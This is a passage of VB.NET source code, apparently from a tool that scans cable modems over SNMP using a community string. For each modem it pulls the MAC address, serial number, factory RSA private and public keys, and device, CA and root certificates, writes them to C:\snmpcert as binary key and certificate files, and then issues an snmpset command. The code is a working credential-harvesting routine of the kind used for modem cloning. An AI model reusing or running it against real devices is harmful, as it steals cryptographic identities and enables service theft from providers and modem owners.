  5088.         Dim e As String = sErr.ReadToEnd
  5089.         Console.WriteLine(s)
  5090.         output = e
  5091.         output = s
  5092.         If Not myProcess.HasExited Then
  5093.             myProcess.Kill()
  5094.         End If
  5095.         sIn.Close()
  5096.         sOut.Close()
  5097.         sErr.Close()
  5098.         myProcess.Close()
  5099.         Dim temp As String = ""
  5100.         temp = Replace(check_cannot_find_module(s), "STRING: ", "")
  5101.         temp = Replace(temp, Chr(34), "")
  5102.         If temp = Nothing Then
  5103.             temp = ""
  5104.         Else
  5105.             If temp = "No Such Object available on this agent at this OID" Then
  5106.                 allmodems += 1
  5107.             End If
  5108.             temp = temp.ToString.ToUpper
  5109.             Dim values As String
  5110.             values = temp
  5111.             Dim sites As String() = Nothing
  5112.             sites = values.Split(" ")
  5113.             Dim t As String
  5114.             For Each t In sites
  5115.                 If t = "NO" Then
  5116.                     track = 1
  5117.  
  5118.                 End If
  5119.  
  5120.             Next t
  5121.         End If
  5122.         If temp.ToString = "" Then
  5123.             Timer1.Enabled = True
  5124.             Exit Sub
  5125.         ElseIf track = 1 Then
  5126.             track = 0
  5127.             Timer1.Enabled = True
  5128.             Exit Sub
  5129.         Else
  5130.             total_modems += 1
  5131.  
  5132.             Try
  5133.                 Dim mymac1 As Process = New Process
  5134.                 Dim sm As String
  5135.                 mymac1.StartInfo.FileName = x
  5136.                 mymac1.StartInfo.UseShellExecute = False
  5137.                 mymac1.StartInfo.CreateNoWindow = True
  5138.                 mymac1.StartInfo.RedirectStandardInput = True
  5139.                 mymac1.StartInfo.RedirectStandardOutput = True
  5140.                 mymac1.StartInfo.RedirectStandardError = True
  5141.                 mymac1.StartInfo.Arguments = "-v2c -O v -c " & community_string.ToString & " " & modem_ip.ToString & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.4.0"
  5142.                 mymac1.Start()
  5143.                 Dim sInm As StreamWriter = mymac1.StandardInput
  5144.                 sInm.AutoFlush = True
  5145.                 Dim sOutm As StreamReader = mymac1.StandardOutput
  5146.                 Dim sErrm As StreamReader = mymac1.StandardError
  5147.                 sm = sOutm.ReadToEnd()
  5148.                 If Not mymac1.HasExited Then
  5149.                     mymac1.Kill()
  5150.                 End If
  5151.                 sInm.Close()
  5152.                 sOutm.Close()
  5153.                 sErrm.Close()
  5154.                 mymac1.Close()
  5155.                 Dim tempm As String = ""
  5156.                 tempm = Replace(check_cannot_find_module(sm), "STRING: ", Nothing)
  5157.                 tempm = Replace(tempm, "Hex-", Nothing)
  5158.                 tempm = Replace(tempm, Chr(34), Nothing)
  5159.                 tempm = Replace(tempm, ":", Nothing)
  5160.                 tempm = Replace(tempm, " ", Nothing)
  5161.                 temp = Replace(temp, vbCrLf, Nothing)
  5162.                 tempm = Replace(tempm, vbCrLf, Nothing)
  5163.                 Dim usbmac As Process = New Process
  5164.                 Dim sm1 As String
  5165.                 usbmac.StartInfo.FileName = x
  5166.                 usbmac.StartInfo.UseShellExecute = False
  5167.                 usbmac.StartInfo.CreateNoWindow = True
  5168.                 usbmac.StartInfo.RedirectStandardInput = True
  5169.                 usbmac.StartInfo.RedirectStandardOutput = True
  5170.                 usbmac.StartInfo.RedirectStandardError = True
  5171.                 usbmac.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.60.0"
  5172.                 usbmac.Start()
  5173.                 Dim sInm1 As StreamWriter = usbmac.StandardInput
  5174.                 sInm1.AutoFlush = True
  5175.                 Dim sOutm1 As StreamReader = usbmac.StandardOutput
  5176.                 Dim sErrm1 As StreamReader = usbmac.StandardError
  5177.                 sm1 = sOutm1.ReadToEnd()
  5178.                 If Not usbmac.HasExited Then
  5179.                     usbmac.Kill()
  5180.                 End If
  5181.                 sInm1.Close()
  5182.                 sOutm1.Close()
  5183.                 sErrm1.Close()
  5184.                 usbmac.Close()
  5185.                 Dim tempum As String = ""
  5186.                 tempum = Replace(check_cannot_find_module(sm1), "STRING: ", Nothing)
  5187.                 tempum = Replace(tempum, "Hex-", Nothing)
  5188.                 tempum = Replace(tempum, Chr(34), Nothing)
  5189.                 tempum = Replace(tempum, ":", Nothing)
  5190.                 tempum = Replace(tempum, " ", Nothing)
  5191.                 tempum = Replace(tempum, vbCrLf, Nothing)
  5192.                 Directory.CreateDirectory("C:\snmpcert\" & temp)
  5193.                 Directory.CreateDirectory("C:\snmpcert\" & temp & "\" & tempm)
  5194.                 'get SERIAL number
  5195.                 Dim myProcessSER As Process = New Process
  5196.                 Dim sSER As String
  5197.                 myProcessSER.StartInfo.FileName = x
  5198.                 myProcessSER.StartInfo.UseShellExecute = False
  5199.                 myProcessSER.StartInfo.CreateNoWindow = True
  5200.                 myProcessSER.StartInfo.RedirectStandardInput = True
  5201.                 myProcessSER.StartInfo.RedirectStandardOutput = True
  5202.                 myProcessSER.StartInfo.RedirectStandardError = True
  5203.                 myProcessSER.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.6.0"
  5204.                 myProcessSER.Start()
  5205.                 Dim sInSER As StreamWriter = myProcessSER.StandardInput
  5206.                 sInSER.AutoFlush = True
  5207.                 Dim sOutSER As StreamReader = myProcessSER.StandardOutput
  5208.                 Dim sErrSER As StreamReader = myProcessSER.StandardError
  5209.                 sSER = sOutSER.ReadToEnd()
  5210.                 If Not myProcessSER.HasExited Then
  5211.                     myProcessSER.Kill()
  5212.                 End If
  5213.                 sInSER.Close()
  5214.                 sOutSER.Close()
  5215.                 sErrSER.Close()
  5216.                 myProcessSER.Close()
  5217.                 Dim tempSER As String
  5218.                 tempSER = Replace(check_cannot_find_module(sSER), "STRING: ", Nothing)
  5219.                 tempSER = Replace(tempSER, "Hex-", Nothing)
  5220.                 tempSER = Replace(tempSER, Chr(34), Nothing)
  5221.  
  5222.  
  5223.  
  5224.  
  5225.  
  5226.  
  5227.                 'get download speed
  5228.  
  5229.                 Dim myProcessspeedd As Process = New Process
  5230.                 Dim sspeedd As String
  5231.                 myProcessspeedd.StartInfo.FileName = x
  5232.                 myProcessspeedd.StartInfo.UseShellExecute = False
  5233.                 myProcessspeedd.StartInfo.CreateNoWindow = True
  5234.                 myProcessspeedd.StartInfo.RedirectStandardInput = True
  5235.                 myProcessspeedd.StartInfo.RedirectStandardOutput = True
  5236.                 myProcessspeedd.StartInfo.RedirectStandardError = True
  5237.                 myProcessspeedd.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16706.1"
  5238.                 myProcessspeedd.Start()
  5239.  
  5240.  
  5241.                 Dim sInSpeedd As StreamWriter = myProcessspeedd.StandardInput
  5242.                 sInSpeedd.AutoFlush = True
  5243.                 Dim sOutSpeedd As StreamReader = myProcessspeedd.StandardOutput
  5244.                 Dim sErrSpeedd As StreamReader = myProcessspeedd.StandardError
  5245.                 sspeedd = sOutSpeedd.ReadToEnd()
  5246.                 If Not myProcessspeedd.HasExited Then
  5247.                     myProcessspeedd.Kill()
  5248.                 End If
  5249.                 sInSpeedd.Close()
  5250.                 sOutSpeedd.Close()
  5251.                 sErrSpeedd.Close()
  5252.                 myProcessspeedd.Close()
  5253.                 Dim tempSpeedd As String
  5254.                 tempSpeedd = Replace(check_cannot_find_module(sspeedd), "Gauge32: ", Nothing)
  5255.                 tempSpeedd = Replace(tempSpeedd, "Hex-", Nothing)
  5256.                 tempSpeedd = Replace(tempSpeedd, Chr(34), Nothing)
  5257.                 tempSpeedd = Replace(tempSpeedd, vbCrLf, Nothing)
  5258.                 'get upload speed
  5259.                 Dim myProcessspeedu As Process = New Process
  5260.                 Dim sspeedu As String
  5261.                 myProcessspeedu.StartInfo.FileName = x
  5262.                 myProcessspeedu.StartInfo.UseShellExecute = False
  5263.                 myProcessspeedu.StartInfo.CreateNoWindow = True
  5264.                 myProcessspeedu.StartInfo.RedirectStandardInput = True
  5265.                 myProcessspeedu.StartInfo.RedirectStandardOutput = True
  5266.                 myProcessspeedu.StartInfo.RedirectStandardError = True
  5267.                 myProcessspeedu.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16717.1"
  5268.                 myProcessspeedu.Start()
  5269.                 Dim sInSpeedu As StreamWriter = myProcessspeedu.StandardInput
  5270.                 sInSpeedu.AutoFlush = True
  5271.                 Dim sOutSpeedu As StreamReader = myProcessspeedu.StandardOutput
  5272.                 Dim sErrSpeedu As StreamReader = myProcessspeedu.StandardError
  5273.                 sspeedu = sOutSpeedu.ReadToEnd()
  5274.                 If Not myProcessspeedu.HasExited Then
  5275.                     myProcessspeedu.Kill()
  5276.                 End If
  5277.                 sInSpeedu.Close()
  5278.                 sOutSpeedu.Close()
  5279.                 sErrSpeedu.Close()
  5280.                 myProcessspeedu.Close()
  5281.                 Dim tempSpeedu As String
  5282.                 tempSpeedu = Replace(check_cannot_find_module(sspeedu), "Gauge32: ", Nothing)
  5283.                 tempSpeedu = Replace(tempSpeedu, "Hex-", Nothing)
  5284.                 tempSpeedu = Replace(tempSpeedu, Chr(34), Nothing)
  5285.  
  5286.  
  5287.                 If tempSpeedd = "No Such Instance currently exists at this OID" Then
  5288.                     'get download speed doccis 1.1 +
  5289.                     Dim myProcessspeedd1 As Process = New Process
  5290.                     Dim sspeedd1 As String
  5291.                     myProcessspeedd1.StartInfo.FileName = "C:\snmpcert\snmpwalk.exe"
  5292.                     myProcessspeedd1.StartInfo.UseShellExecute = False
  5293.                     myProcessspeedd1.StartInfo.CreateNoWindow = True
  5294.                     myProcessspeedd1.StartInfo.RedirectStandardInput = True
  5295.                     myProcessspeedd1.StartInfo.RedirectStandardOutput = True
  5296.                     myProcessspeedd1.StartInfo.RedirectStandardError = True
  5297.                     myProcessspeedd1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2"
  5298.                     myProcessspeedd1.Start()
  5299.  
  5300.  
  5301.                     Dim sInSpeedd1 As StreamWriter = myProcessspeedd1.StandardInput
  5302.                     sInSpeedd1.AutoFlush = True
  5303.                     Dim sOutSpeedd1 As StreamReader = myProcessspeedd1.StandardOutput
  5304.                     Dim sErrSpeedd1 As StreamReader = myProcessspeedd1.StandardError
  5305.                     sspeedd1 = sOutSpeedd1.ReadToEnd()
  5306.                     If Not myProcessspeedd1.HasExited Then
  5307.                         myProcessspeedd1.Kill()
  5308.                     End If
  5309.                     sInSpeedd1.Close()
  5310.                     sOutSpeedd1.Close()
  5311.                     sErrSpeedd1.Close()
  5312.                     myProcessspeedd1.Close()
  5313.                     Dim tempSpeedd1 As String
  5314.                     tempSpeedd1 = Replace(check_cannot_find_module(sspeedd1), "Gauge32: ", Nothing)
  5315.                     tempSpeedd1 = Replace(tempSpeedd1, "Hex-", Nothing)
  5316.                     tempSpeedd1 = Replace(tempSpeedd1, Chr(34), Nothing)
  5317.                     tempSpeedd = tempSpeedd1
  5318.  
  5319.                     Dim testing As String
  5320.                     testing = Replace(tempSpeedd1, vbCrLf, ",")
  5321.                     ''MsgBox(testing)
  5322.                     Dim split As String()
  5323.                     split = testing.Split(",")
  5324.                     tempSpeedd = split(0).ToString
  5325.                     tempSpeedu = split(4).ToString
  5326.                     ''MsgBox(tempSpeedd)
  5327.                     ''MsgBox(tempSpeedu)
  5328.                 End If
  5329.  
  5330.  
  5331.  
  5332.                 Dim oFileSER As System.IO.File
  5333.                 Dim oWriteSER As System.IO.StreamWriter
  5334.                 Dim filedirSER As String = "C:\snmpcert\" & temp & "\" & tempm & "\cminfo.txt"
  5335.                 oWriteSER = oFileSER.CreateText(filedirSER)
  5336.                 oWriteSER.WriteLine("modem's ip was:" & modem_ip & vbCrLf & "mac was : " & tempm & vbCrLf & "usb mac was:" & tempum & vbCrLf & "modem's serial was: " & tempSER & "modem's upload speed was:" & tempSpeedd.ToString & vbCrLf & "modem's download speed was:" & tempSpeedu.ToString)
  5337.                 oWriteSER.Close()
  5338.  
  5339.                 Dim filetodelete As String
  5340.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\ca.cer"
  5341.                 If System.IO.File.Exists(filetodelete) = True Then
  5342.                     System.IO.File.Delete(filetodelete)
  5343.                 End If
  5344.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\CM.cer"
  5345.                 If System.IO.File.Exists(filetodelete) = True Then
  5346.                     System.IO.File.Delete(filetodelete)
  5347.                 End If
  5348.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\private.Key"
  5349.                 If System.IO.File.Exists(filetodelete) = True Then
  5350.                     System.IO.File.Delete(filetodelete)
  5351.                 End If
  5352.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\Public.key"
  5353.                 If System.IO.File.Exists(filetodelete) = True Then
  5354.                     System.IO.File.Delete(filetodelete)
  5355.                 End If
  5356.  
  5357.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\root.key"
  5358.                 If System.IO.File.Exists(filetodelete) = True Then
  5359.                     System.IO.File.Delete(filetodelete)
  5360.                 End If
  5361.  
  5362.  
  5363.  
  5364.  
  5365.  
  5366.  
  5367.  
  5368.                 'get cmFactoryRSAPublicKey.txt
  5369.                 Dim myProcess1 As Process = New Process
  5370.                 Dim s1 As String
  5371.                 myProcess1.StartInfo.FileName = x
  5372.                 myProcess1.StartInfo.UseShellExecute = False
  5373.                 myProcess1.StartInfo.CreateNoWindow = True
  5374.                 myProcess1.StartInfo.RedirectStandardInput = True
  5375.                 myProcess1.StartInfo.RedirectStandardOutput = True
  5376.                 myProcess1.StartInfo.RedirectStandardError = True
  5377.                 myProcess1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.50.0"
  5378.                 myProcess1.Start()
  5379.                 Dim sIn1 As StreamWriter = myProcess1.StandardInput
  5380.                 sIn1.AutoFlush = True
  5381.                 Dim sOut1 As StreamReader = myProcess1.StandardOutput
  5382.                 Dim sErr1 As StreamReader = myProcess1.StandardError
  5383.                 s1 = sOut1.ReadToEnd()
  5384.                 If Not myProcess1.HasExited Then
  5385.                     myProcess1.Kill()
  5386.                 End If
  5387.                 sIn1.Close()
  5388.                 sOut1.Close()
  5389.                 sErr1.Close()
  5390.                 myProcess1.Close()
  5391.                 Dim temp1 As String
  5392.                 temp1 = Replace(check_cannot_find_module(s1), "STRING: ", Nothing)
  5393.                 temp1 = Replace(temp1, "Hex-", Nothing)
  5394.                 temp1 = Replace(temp1, Chr(34), Nothing)
  5395.                 Dim oFile As System.IO.File
  5396.                 Dim oWrite As System.IO.StreamWriter
  5397.                 If File.Exists("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt") Then
  5398.                     File.Delete("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt")
  5399.                 End If
  5400.                 Dim filedir As String = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt"
  5401.                 oWrite = oFile.CreateText(filedir)
  5402.                 oWrite.WriteLine(temp1)
  5403.                 oWrite.Close()
  5404.                 Dim bytelist1 As String()
  5405.                 Dim templist1 As String
  5406.                 templist1 = Replace(temp1, vbCrLf, " ")
  5407.                 templist1 = templist1.Remove(templist1.Length - 1, 1)
  5408.                 templist1 = Replace(templist1, " ", ",")
  5409.                 templist1 = Replace(templist1, ",,", ",")
  5410.                 bytelist1 = Split(templist1, ",")
  5411.                 Dim coutner1 As Integer
  5412.                 coutner1 = 2
  5413.                 Dim countback1 As Integer = bytelist1.Length - 2
  5414.                 Dim countup1 As Integer = 1
  5415.                 Dim watchvar1 As Integer = 0
  5416.                 While countback1 >= 0
  5417.                     If bytelist1(countback1).ToString = "00" AndAlso watchvar1 = 0 Then
  5418.                         countup1 += 1
  5419.                     Else
  5420.                         watchvar1 = 1
  5421.                     End If
  5422.                     countback1 -= 1
  5423.                 End While
  5424.                 While coutner1 < bytelist1.Length - countup1
  5425.                     Dim byteData As Byte = CInt("&H" & bytelist1(coutner1).ToString)
  5426.                     Dim oFileStream1 As System.IO.FileStream
  5427.                     oFileStream1 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\Public.Key", System.IO.FileMode.Append)
  5428.                     oFileStream1.WriteByte(byteData)
  5429.                     oFileStream1.Close()
  5430.                     coutner1 += 1
  5431.                 End While
  5432.                 'get cmFactoryRSAPrivateKey.txt
  5433.                 Dim myProcess2 As Process = New Process
  5434.                 Dim s2 As String
  5435.                 myProcess2.StartInfo.FileName = x
  5436.                 myProcess2.StartInfo.UseShellExecute = False
  5437.                 myProcess2.StartInfo.CreateNoWindow = True
  5438.                 myProcess2.StartInfo.RedirectStandardInput = True
  5439.                 myProcess2.StartInfo.RedirectStandardOutput = True
  5440.                 myProcess2.StartInfo.RedirectStandardError = True
  5441.                 myProcess2.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.51.0"
  5442.                 myProcess2.Start()
  5443.                 Dim sIn2 As StreamWriter = myProcess2.StandardInput
  5444.                 sIn2.AutoFlush = True
  5445.                 Dim sOut2 As StreamReader = myProcess2.StandardOutput
  5446.                 Dim sErr2 As StreamReader = myProcess2.StandardError
  5447.                 s2 = sOut2.ReadToEnd()
  5448.                 If Not myProcess2.HasExited Then
  5449.                     myProcess2.Kill()
  5450.                 End If
  5451.                 sIn2.Close()
  5452.                 sOut2.Close()
  5453.                 sErr2.Close()
  5454.                 myProcess2.Close()
  5455.                 Dim temp2 As String
  5456.                 temp2 = Replace(check_cannot_find_module(s2), "STRING: ", "")
  5457.                 temp2 = Replace(temp2, "Hex-", "")
  5458.                 temp2 = Replace(temp2, Chr(34), "")
  5459.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPrivateKey.txt"
  5460.                 oWrite = oFile.CreateText(filedir)
  5461.                 oWrite.WriteLine(temp2)
  5462.                 oWrite.Close()
  5463.                 Dim bytelist2 As String()
  5464.                 Dim templist2 As String
  5465.                 templist2 = Replace(temp2, vbCrLf, " ")
  5466.                 templist2 = templist2.Remove(templist2.Length - 1, 1)
  5467.                 templist2 = Replace(templist2, " ", ",")
  5468.                 templist2 = Replace(templist2, ",,", ",")
  5469.                 bytelist2 = Split(templist2, ",")
  5470.                 Dim coutner2 As Integer
  5471.                 coutner2 = 2
  5472.                 Dim countback2 As Integer = bytelist2.Length - 2
  5473.                 Dim countup2 As Integer = 1
  5474.                 Dim watchvar2 As Integer = 0
  5475.                 While countback2 >= 0
  5476.                     If bytelist2(countback2).ToString = "00" AndAlso watchvar2 = 0 Then
  5477.                         countup2 += 1
  5478.                     Else
  5479.                         watchvar2 = 1
  5480.                     End If
  5481.                     countback2 -= 1
  5482.                 End While
  5483.                 While coutner2 < bytelist2.Length - countup2
  5484.                     Dim byteData2 As Byte = CInt("&H" & bytelist2(coutner2).ToString)
  5485.                     Dim oFileStream2 As System.IO.FileStream
  5486.                     oFileStream2 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\private.Key", System.IO.FileMode.Append)
  5487.                     oFileStream2.WriteByte(byteData2)
  5488.                     oFileStream2.Close()
  5489.                     coutner2 += 1
  5490.                 End While
  5491.                 'get cmFactoryCMCertificate.txt
  5492.                 Dim myProcess3 As Process = New Process
  5493.                 Dim s3 As String
  5494.                 myProcess3.StartInfo.FileName = x
  5495.                 myProcess3.StartInfo.UseShellExecute = False
  5496.                 myProcess3.StartInfo.CreateNoWindow = True
  5497.                 myProcess3.StartInfo.RedirectStandardInput = True
  5498.                 myProcess3.StartInfo.RedirectStandardOutput = True
  5499.                 myProcess3.StartInfo.RedirectStandardError = True
  5500.                 myProcess3.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.52.0"
  5501.                 myProcess3.Start()
  5502.                 Dim sIn3 As StreamWriter = myProcess3.StandardInput
  5503.                 sIn3.AutoFlush = True
  5504.                 Dim sOut3 As StreamReader = myProcess3.StandardOutput
  5505.                 Dim sErr3 As StreamReader = myProcess3.StandardError
  5506.                 s3 = sOut3.ReadToEnd()
  5507.                 If Not myProcess3.HasExited Then
  5508.                     myProcess3.Kill()
  5509.                 End If
  5510.                 sIn3.Close()
  5511.                 sOut3.Close()
  5512.                 sErr3.Close()
  5513.                 myProcess3.Close()
  5514.                 Dim temp3 As String
  5515.  
  5516.                 temp3 = Replace(check_cannot_find_module(s3), "STRING: ", "")
  5517.                 temp3 = Replace(temp3, "Hex-", "")
  5518.                 temp3 = Replace(temp3, Chr(34), "")
  5519.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCMCertificate.txt"
  5520.                 oWrite = oFile.CreateText(filedir)
  5521.                 oWrite.WriteLine(temp3)
  5522.                 oWrite.Close()
  5523.                 Dim bytelist3 As String()
  5524.                 Dim templist3 As String
  5525.                 templist3 = Replace(temp3, vbCrLf, " ")
  5526.                 templist3 = templist3.Remove(templist3.Length - 1, 1)
  5527.                 templist3 = Replace(templist3, " ", ",")
  5528.                 templist3 = Replace(templist3, ",,", ",")
  5529.                 bytelist3 = Split(templist3, ",")
  5530.                 Dim coutner3 As Integer
  5531.                 coutner3 = 2
  5532.                 Dim countback3 As Integer = bytelist3.Length - 2
  5533.                 Dim countup3 As Integer = 1
  5534.                 Dim watchvar3 As Integer = 0
  5535.                 While countback3 >= 0
  5536.                     If bytelist3(countback3).ToString = "00" And watchvar3 = 0 Then
  5537.                         countup3 += 1
  5538.                     Else
  5539.                         watchvar3 = 1
  5540.                     End If
  5541.                     countback3 -= 1
  5542.                 End While
  5543.                 While coutner3 < bytelist3.Length - countup3
  5544.                     Dim byteData3 As Byte = CInt("&H" & bytelist3(coutner3).ToString)
  5545.                     Dim oFileStream3 As System.IO.FileStream
  5546.                     oFileStream3 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\CM.cer", System.IO.FileMode.Append)
  5547.                     oFileStream3.WriteByte(byteData3)
  5548.                     oFileStream3.Close()
  5549.                     coutner3 = coutner3 + 1
  5550.                 End While
  5551.                 'get cmFactoryCaCertificate.txt
  5552.                 Dim myProcess4 As Process = New Process
  5553.                 Dim s4 As String
  5554.                 myProcess4.StartInfo.FileName = x
  5555.                 myProcess4.StartInfo.UseShellExecute = False
  5556.                 myProcess4.StartInfo.CreateNoWindow = True
  5557.                 myProcess4.StartInfo.RedirectStandardInput = True
  5558.                 myProcess4.StartInfo.RedirectStandardOutput = True
  5559.                 myProcess4.StartInfo.RedirectStandardError = True
  5560.                 myProcess4.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.53.0"
  5561.                 myProcess4.Start()
  5562.                 Dim sIn4 As StreamWriter = myProcess4.StandardInput
  5563.                 sIn4.AutoFlush = True
  5564.                 Dim sOut4 As StreamReader = myProcess4.StandardOutput
  5565.                 Dim sErr4 As StreamReader = myProcess4.StandardError
  5566.                 s4 = sOut4.ReadToEnd()
  5567.                 If Not myProcess4.HasExited Then
  5568.                     myProcess4.Kill()
  5569.                 End If
  5570.                 sIn4.Close()
  5571.                 sOut4.Close()
  5572.                 sErr4.Close()
  5573.                 myProcess4.Close()
  5574.                 Dim temp4 As String
  5575.                 temp4 = Replace(check_cannot_find_module(s4), "STRING: ", "")
  5576.                 temp4 = Replace(temp4, "Hex-", "")
  5577.                 temp4 = Replace(temp4, Chr(34), "")
  5578.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCACertificate.txt"
  5579.                 oWrite = oFile.CreateText(filedir)
  5580.                 oWrite.WriteLine(temp4)
  5581.                 oWrite.Close()
  5582.                 Dim bytelist4 As String()
  5583.                 Dim templist4 As String
  5584.                 templist4 = Replace(temp4, vbCrLf, " ")
  5585.                 templist4 = templist4.Remove(templist4.Length - 1, 1)
  5586.                 templist4 = Replace(templist4, " ", ",")
  5587.                 templist4 = Replace(templist4, ",,", ",")
  5588.                 bytelist4 = Split(templist4, ",")
  5589.                 Dim coutner4 As Integer
  5590.                 coutner4 = 2
  5591.                 Dim countback4 As Integer = bytelist4.Length - 2
  5592.                 Dim countup4 As Integer = 1
  5593.                 Dim watchvar4 As Integer = 0
  5594.                 While countback4 >= 0
  5595.                     If bytelist4(countback4).ToString = "00" And watchvar4 = 0 Then
  5596.                         countup4 = countup4 + 1
  5597.                     Else
  5598.                         watchvar4 = 1
  5599.                     End If
  5600.                     countback4 = countback4 - 1
  5601.                 End While
  5602.                 While coutner4 < bytelist4.Length - countup4
  5603.                     Dim byteData4 As Byte = CInt("&H" & bytelist4(coutner4).ToString)
  5604.                     Dim oFileStream4 As System.IO.FileStream
  5605.                     oFileStream4 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\ca.cer", System.IO.FileMode.Append)
  5606.                     oFileStream4.WriteByte(byteData4)
  5607.                     oFileStream4.Close()
  5608.                     coutner4 = coutner4 + 1
  5609.                 End While
  5610.                 'get cmFactoryRootCertificate.txt
  5611.                 Dim myProcess5 As Process = New Process
  5612.                 Dim s5 As String
  5613.                 myProcess5.StartInfo.FileName = x
  5614.                 myProcess5.StartInfo.UseShellExecute = False
  5615.                 myProcess5.StartInfo.CreateNoWindow = True
  5616.                 myProcess5.StartInfo.RedirectStandardInput = True
  5617.                 myProcess5.StartInfo.RedirectStandardOutput = True
  5618.                 myProcess5.StartInfo.RedirectStandardError = True
  5619.                 myProcess5.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.54.0"
  5620.                 myProcess5.Start()
  5621.                 Dim sIn5 As StreamWriter = myProcess5.StandardInput
  5622.                 sIn5.AutoFlush = True
  5623.                 Dim sOut5 As StreamReader = myProcess5.StandardOutput
  5624.                 Dim sErr5 As StreamReader = myProcess5.StandardError
  5625.                 s5 = sOut5.ReadToEnd()
  5626.                 If Not myProcess5.HasExited Then
  5627.                     myProcess5.Kill()
  5628.                 End If
  5629.                 sIn5.Close()
  5630.                 sOut5.Close()
  5631.                 sErr5.Close()
  5632.                 myProcess5.Close()
  5633.                 Dim temp5 As String
  5634.  
  5635.                 temp5 = Replace(check_cannot_find_module(s5), "STRING: ", "")
  5636.                 temp5 = Replace(temp5, "Hex-", "")
  5637.                 temp5 = Replace(temp5, Chr(34), "")
  5638.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRootCertificate.txt"
  5639.                 oWrite = oFile.CreateText(filedir)
  5640.                 oWrite.WriteLine(temp5)
  5641.                 oWrite.Close()
  5642.                 Dim bytelist5 As String()
  5643.                 Dim templist5 As String
  5644.                 templist5 = Replace(temp5, vbCrLf, " ")
  5645.                 templist5 = templist5.Remove(templist5.Length - 1, 1)
  5646.                 templist5 = Replace(templist5, " ", ",")
  5647.                 templist5 = Replace(templist5, ",,", ",")
  5648.                 bytelist5 = Split(templist5, ",")
  5649.                 Dim coutner5 As Integer
  5650.                 coutner5 = 2
  5651.                 Dim countback5 As Integer = bytelist5.Length - 2
  5652.                 Dim countup5 As Integer = 1
  5653.                 Dim watchvar5 As Integer = 0
  5654.                 While countback5 >= 0
  5655.                     If bytelist5(countback5).ToString = "00" And watchvar5 = 0 Then
  5656.                         countup5 = countup5 + 1
  5657.                     Else
  5658.                         watchvar5 = 1
  5659.                     End If
  5660.                     countback5 = countback5 - 1
  5661.                 End While
  5662.                 While coutner5 < bytelist5.Length - countup5
  5663.                     Dim byteData5 As Byte = CInt("&H" & bytelist5(coutner5).ToString)
  5664.                     Dim oFileStream5 As System.IO.FileStream
  5665.                     oFileStream5 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\root.Key", System.IO.FileMode.Append)
  5666.                     oFileStream5.WriteByte(byteData5)
  5667.                     oFileStream5.Close()
  5668.                     coutner5 = coutner5 + 1
  5669.                 End While
  5670.  
  5671.                 x = "C:\snmpcert\snmpset.exe"
  5672.                 Dim myProcess6 As Process = New Process
  5673.                 Dim s6 As String
  5674.                 myProcess6.StartInfo.FileName = x
  5675.                 myProcess6.StartInfo.UseShellExecute = False
  5676.                 myProcess6.StartInfo.CreateNoWindow = True
  5677.                 myProcess6.StartInfo.RedirectStandardInput = True
  5678.                 myProcess6.StartInfo.RedirectStandardOutput = True
  5679.                 myProcess6.StartInfo.RedirectStandardError = True
  5680.                 myProcess6.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.29.0"
  5681.                 myProcess6.Start()
  5682.                 Dim sIn6 As StreamWriter = myProcess6.StandardInput
  5683.                 sIn6.AutoFlush = True
  5684.                 Dim sOut6 As StreamReader = myProcess6.StandardOutput
  5685.                 Dim sErr6 As StreamReader = myProcess6.StandardError
  5686.                 s6 = sOut6.ReadToEnd()
  5687.                 If Not myProcess6.HasExited Then
  5688.                     myProcess6.Kill()
  5689.                 End If
  5690.                 sIn6.Close()
  5691.                 sOut6.Close()
  5692.                 sErr6.Close()
  5693.                 myProcess6.Close()
  5694.                 Dim myProcess7 As Process = New Process
  5695.                 Dim s7 As String
  5696.                 myProcess7.StartInfo.FileName = x
  5697.                 myProcess7.StartInfo.UseShellExecute = False
  5698.                 myProcess7.StartInfo.CreateNoWindow = True
  5699.                 myProcess7.StartInfo.RedirectStandardInput = True
